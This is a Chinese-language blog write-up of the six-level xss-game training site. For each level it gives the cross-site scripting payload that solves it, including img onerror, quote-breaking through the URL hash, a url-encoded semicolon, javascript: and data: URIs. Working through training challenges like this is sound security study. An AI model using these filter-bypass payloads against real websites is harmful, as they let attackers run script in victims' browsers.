xss从零开始之刷xss-game
刷题
平台地址:https://xss-game.appspot.com/
Level 1: Hello, world of XSS
payload :
1 | <script>alert(document.domain)</script> |
Level 2: Persistence is key
过滤了script标签,使用img+事件绕过:
1 | <img src=x onerror="alert(1)"> |
Level 3: That sinking feeling…
这里用到了 location.hash
,location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url。而location.hash则可以用来获取或设置页面的标签值,比如http://domain/#admin 的location.hash=”#admin”。在访问页面的时候,通过window.location.hash来判断用户需要访问的页面,然后通过javascript来调整显示页面,比如博客中用到的目录+标题就是这样的。
简单观察就可以发现#后面的位置存在注入,先使用闭合单引号,然后再加入弹窗事件,
payload:
1 | x' onerror='alert(1)' |
Level 4: Context matters
这里有一个延时函数
1 | <img src="/static/loading.gif" onload="startTimer('60');"> |
思路是在onload中构造语句,但是过滤了分号,可以使用url编码绕过
下面这三个都可以
1 | 1')%3balert('1 |
Level 5: Breaking protocol
发现在next参数处存在注入,会把参数传递给一个a标签的src属性中,在src中使用javascript伪协议,
payload:
1 | ?next=javascript:alert(1) |
Level 6: Follow the 🐇
传入的参数会被放在script标签的src属性中,会引入一个js脚本
1 | <script src="/static/gadget.js"></script> |
使用Data URI Scheme执行js代码
JS魔法堂:Data URI Scheme介绍
payload:
1 | https://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1); |
- Post Title: xss从零开始之刷xss-game
- Post Author: Katharsis
- Post Link: http://yoursite.com/2020/09/22/xss-game/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.